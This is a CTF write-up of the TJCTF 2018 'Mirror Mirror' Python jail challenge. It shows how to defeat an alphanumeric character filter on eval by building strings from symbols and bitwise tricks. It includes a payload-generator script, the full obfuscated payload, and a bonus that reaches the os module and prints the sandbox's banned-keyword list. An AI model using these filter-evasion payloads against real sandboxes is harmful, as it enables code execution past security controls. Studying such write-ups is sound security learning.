Tags: pyjail python 

Rating:

## 100 - Mirror Mirror - Miscellaneous

> Written by Alaska47
>
> If you look closely, you can see a reflection.
>
> nc problem1.tjctf.org 8004

Here is what the server is telling us:

```
nc problem1.tjctf.org 8004
Hi! Are you looking for the flag? Try get_flag() for free flags. Remember, wrap your input in double quotes. Good luck!
>>>
```

We are in a *python jail* a.k.a. *PyJail* (*python sandbox*).
We know we must use `get_flag()` and wrap our input in double quotes.

Let's try to find more info:

```python
>>> get_flag.func_code.co_consts
(None, 'this_is_the_super_secret_string', 48, 57, 65, 90, 97, 122, 44, 95, ' is not a valid character', '%\xcb', "You didn't guess the value of my super_secret_string")
>>> get_flag(get_flag.func_code.co_consts[1])
t is not a valid character
```

So we see there is a variable called `this_is_the_super_secret_string`.
Then there is `48, 57, 65, 90, 97, 122, 44, 95`, which converted from decimal to ASCII gives `09AZaz,_`.
Then we have `is not a valid character` so we can deduce that we have a regex `[0-9a-zA-Z_,]` filtering the input.

Trying `get_flag(get_flag.func_code.co_consts[1])` will give `t is not a valid character`, proving that there is such a filtering.

Fuzzing a little will throw this:

```python
Traceback (most recent call last):
File "<console>", line 1, in <module>
File "/home/app/problem.py", line 23, in get_flag
if(eval(input) == super_secret_string):
```

So we know our input is evaluated after being filtered.

Our goal is to get something like `get_flag("this_is_the_super_secret_string")` but not matching `[0-9a-zA-Z_,]`.

That's the hard part.

I looked for some python jail WU and re-found the great *wapiflapi* WU from *PlaidCTF* (https://wapiflapi.github.io/2013/04/22/plaidctf-pyjail-story-of-pythons-escape/). You'll see that I will quote him a lot.

> Quick reminder, in python `eval` is used to evaluate an expression and returns its value whereas `exec` is a statement that compiles and executes a set of statements. In short this means you can execute statements when you are using `exec` but not when using `eval`.
>
> [...]
>
> Most of python are just references, and this we can see here again. These protections only remove references. The original modules like `os`, and the builtins are not altered in any way. Our task is quiet clear, we need to find a reference to something useful and use it to find the flag on the file system. But first we need to find a way of executing code with this little characters allowed.

### Running code

In his WU, *wapiflapi* can use this set of chars

```python
set([':', '%', "'", '', '(', ',', ')', '}', '{', '[', '.', ']', '<', '_', '~'])
```

where here, we can't use `_` and `,`. So our solution will be a little different.

Use `sys.version` we can know the version of python running:

```python
>>> get_flag.func_globals["s" + "ys"].version
'2.7.15rc1 (default, Apr 15 2018, 21:51:34) \n[GCC 7.3.0]'
```

As it is some python 2.7 we can use tuples `()`, lists `[]`, dictionaries `{:}`, sets `{}`, strings `' '`, `%` for formatting.

We can also use `<`, `~`, `` ` ``.

> `<` and `~` are simple operators, we can do less-than comparison and binary-negation.

In python2 `` ` `` allows us to produce strings out of objects because `` `x` `` is equivalent to `repr(x)`.

> `<` can be used both for comparing to integers and in the form of `<<` binary-shifting them to the left.

> The first thing to notice is that `[]<[]` is `False`, which is pretty logical. What is less explainable but serves us well is the fact that `{}<[]` evaluates to `True`.
>
> `True` and `False`, when used in arithmetic operations, behave like `1` and `0`. This will be the building block of our decoder but we still need to find a way to actually produce arbitrary strings.

### Getting characters

> Let's start with a generic solution, we will improve on it later. Getting the numeric ASCII values of our characters seems doable with `True`, `False`, `~` and `<<`. But we need something like `str()` or `"%c"`. This is where the invisible characters come in handy! `"\xcb"` for example, it's not even ascii as it is larger than 127, but it is valid in a python string, and we can send it to the server.
>
> If we take its representation using `` `'_\xcb_'` `` (In practice we will send a byte with the value `0xcb` not `'\xcb'`), we have a string containing a `c`. We also need a `'%'`, and we need those two, and those two only.
>
> We want this: `` `'%\xcb'`[1::3] `` , using `True` and `False` to build the numbers we get:
>
> ```python
> `'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]
> ```
>
> There you go! Now provided we can have any number build using the same trick as for the indexes we just have to use the above and `%(number)` to get any character we want.

So we want to get something like `"%c" % (70)` to get a `F`.

### Numbers

> If you have ever studied any logic you might have encountered the claim that everything could be done with NAND gates. NOT-AND. This is remarkably close to how we shall proceed, except for the fact we shall use multiply-by-two instead of AND. We won't use `True`.
>
> Everything can be done using only `False` (0), `~` (not), `<<` (x2), let me show you with an example. We shall go from 42 to 0 using `~` and `/2`, then we can revert that process using `~` and `*2`.

```python
>>> 42 / 2
21
>>> ~21
-22
>>> -22 / 2
-11
>>> ~-11
10
>>> 10 / 2
5
>>> ~5
-6
>>> -6 / 2
-3
>>> ~-3
2
>>> 2 / 2
1
>>> True == (~((~((~((~(42/2))/2))/2))/2))/2
True
```

> Basically we divided by two when we could, else we inverted all the bits. The nice property of this is that when inverting we are guaranteed to be able to divide by two afterward. So that finally we shall hit 1, 0 or -1.
>
> But wait. Didn't I say we would not use True, 1? Yes I did, but I lied. We will use it because True is obviously shorter than `~(~False*2)`, especially considering the fact we will use True anyway to do x2, which in our case is of course `<<({}<[])`.
>
> Anyway, the moment we hit 1, 0 or -1 we can just use `True`, `False` or `~False`.
>
> So now we can reverse this and we have:

```python
>>> 42 == ~(~(~(~(1*2)*2)*2)*2)*2
True
```

> Using what we are allowed to:

```python
>>> 42 == ~(~(~(~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])
True
```

So by using this function, we can transform any number into a kind of logical brainfuck:

```python
def brainfuckize(nb):
if nb in [-2, -1, 0, 1]:
return ["~({}<[])", "~([]<[])",
"([]<[])", "({}<[])"][nb+2]
if nb % 2:
return "~%s" % brainfuckize(~nb)
else:
return "(%s<<({}<[]))" % brainfuckize(nb/2)
```

### Joining

So we can already transform any char into non-alphabetical code like this:

```python
>>> brainfuckize(ord('F'))
'(~((~(((({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))'
```

Now we want to join the letters together to make a string.

*wapiflapi* was using the following trick to transform an array of chars into a string.

```python
>>> ['a', 'b', 'c', 'd']
['a', 'b', 'c', 'd']
>>> `['a', 'b', 'c', 'd']`
"['a', 'b', 'c', 'd']"
>>> `['a', 'b', 'c', 'd']`[2::5]
'abcd'
>>> `['a', 'b', 'c', 'd']`[(({}<[])<<({}<[]))::~(~(({}<[])<<({}<[]))<<({}<[]))]
'abcd'
```

This is shorter than the solution I will show you but this is using comas, and we can't.

So I would rather use concatenation with `+` instead of `,`.

```python
>>> 'a'+'b'+'c'+'d'
'abcd'
```

So I made a script to automate that:

```python
from __future__ import print_function

def brainfuckize(nb):
if nb in [-2, -1, 0, 1]:
return ["~({}<[])", "~([]<[])",
"([]<[])", "({}<[])"][nb+2]
if nb % 2:
return "~%s" % brainfuckize(~nb)
else:
return "(%s<<({}<[]))" % brainfuckize(nb/2)

# initialize final payload
payload=''
# the string we want to obfuscate
secret = [c for c in 'this_is_the_super_secret_string']
# %c
# we are forced to escape the '\' like that `\\` else it is interpreted
pourcent_c = """`'%\\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]"""
# pourcent
pourcent = '%'
# plus
plus='+'

for c in secret:
# ex: 'F' => 70 => '(~((~(((({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))'
brainfuck_ord = brainfuckize(ord(c))
# "%c" % (~((~(((({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))
# "%c" % 70 => "F"
# as we want a ready to paste paylaod we add '+' to concatenate
payload += pourcent_c+pourcent+brainfuck_ord+plus

# remove last '+'
payload = payload[:-1]

print(payload, end='')
```

Running it gives us the wanted string:

```python
>>> `'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~(((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))
'this_is_the_super_secret_string'
```

Now get back to the server, put out payload into docstring like that: `get_flag("""out_payload_here""")`.

Final payload:

```python
>>> get_flag("""`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~(((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))""")
tjctf{wh0_kn3w_pyth0n_w4s_s0_sl1pp3ry}
```

### Bonus

Someone of my team managed to get the list of filtered functions:

```python
>>> s = "s" + "ys"
>>> o = "o" + "s"
>>> read=get_flag.func_globals[s].modules[o]
>>> dir(read)[164]
'open'

>>> get_flag.func_globals["s" + "ys"].modules["o" + "s"].listdir('.')
['.bash_logout', '.profile', '.bashrc', 'wrapper', 'problem.py']

>>> get_flag.func_globals["_" + "_fi" + "le_" + "_"]
'/home/app/problem.py'

>>> get_flag.func_globals {
'PseudoFile': <class '__main__.PseudoFile'>,
'code': <module 'code' from '/usr/lib/python2.7/code.pyc'>,
'bad': ['__class__', '__base__', '__subclasses__', '_module', 'open', 'eval', 'execfile', 'exec', 'type', 'lambda', 'getattr', 'setattr', '__', 'file', 'reload', 'compile', 'builtins', 'os',
'sys', 'system', 'vars', 'getattr', 'setattr', 'delattr', 'input', 'raw_input', 'help', 'open', 'memoryview', 'eval', 'exec', 'execfile', 'super', 'file', 'reload', 'repr', 'staticmethod', 'property', 'intern', 'coerce', 'buffer', 'apply'],
'__builtins__': <module '?' (built-in)>,
'__file__': '/home/app/problem.py',
'execfile': <built-in function execfile>,
'__package__': None, 'sys': <module 'sys' (built-in)>,
'getattr': <built-in function getattr>,
'Shell': <class __main__.Shell at 0x7fe09eb27c80>,
'banned': ['vars', 'getattr', 'setattr', 'delattr', 'input', 'raw_input', 'help', 'open', 'memoryview', 'eval', 'exec', 'execfile', 'super', 'file', 'reload', 'repr', 'staticmethod', 'property', 'intern', 'coerce', 'buffer', 'apply'],
'InteractiveConsole': <class code.InteractiveConsole at 0x7fe09eb27c18>,
'eval': <built-in function eval>,
'get_flag': <function get_flag at 0x7fe09eb378c0>, '__name__': '__main__',
'main': <function main at 0x7fe09eb4a410>,
'__doc__': None,
'print_function': _Feature((2, 6, 0, 'alpha', 2), (3, 0, 0, 'alpha', 0), 65536)
}
```

Original writeup (https://gitlab.com/rawsec/Rawsec-website/blob/master/source/_posts/TJCTF/2018/write-ups.mkd#100-mirror-mirror-miscellaneous).